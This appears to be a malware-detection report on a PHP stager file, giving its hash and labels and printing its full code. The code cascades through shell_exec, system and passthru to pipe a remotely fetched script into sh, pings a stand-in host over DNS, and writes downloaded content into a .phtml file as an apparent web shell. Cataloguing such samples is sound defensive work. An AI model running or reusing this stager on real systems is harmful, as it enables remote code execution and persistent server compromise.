wget-fallback-rce-stager.php
PHP cascades across execution APIs to run a remote pipe-to-shell stagePHP fetches remote URL content and writes a PHP script file
SHA-2566e10dc95eba5e1549f89dfbbed682d388227b37424bf420d2bcb307d4846b894
MaleculeO₂(C₂Xe)H₅(Cm₅DbF₂Po₃)
Evidence
1<?php
2$out = '';
3if (function_exists('shell_exec')) {
4 $out = @shell_exec('wget -qO- https://stage.example.org/bootstrap.sh | sh 2>&1');
5}
6if ($out === '' && function_exists('system')) {
7 ob_start();
8 @system('wget -qO- https://stage.example.org/bootstrap.sh | sh 2>&1');
9 $out = ob_get_clean();
10}
11if ($out === '' && function_exists('passthru')) {
12 ob_start();
13 @passthru('wget -qO- https://stage.example.org/bootstrap.sh | sh 2>&1');
14 $out = ob_get_clean();
15}
16@gethostbyname('ping.stage.example.org.');
17@file_put_contents('pub/media/sync_adapter.phtml', file_get_contents('https://stage.example.org/panel.txt'));
18?>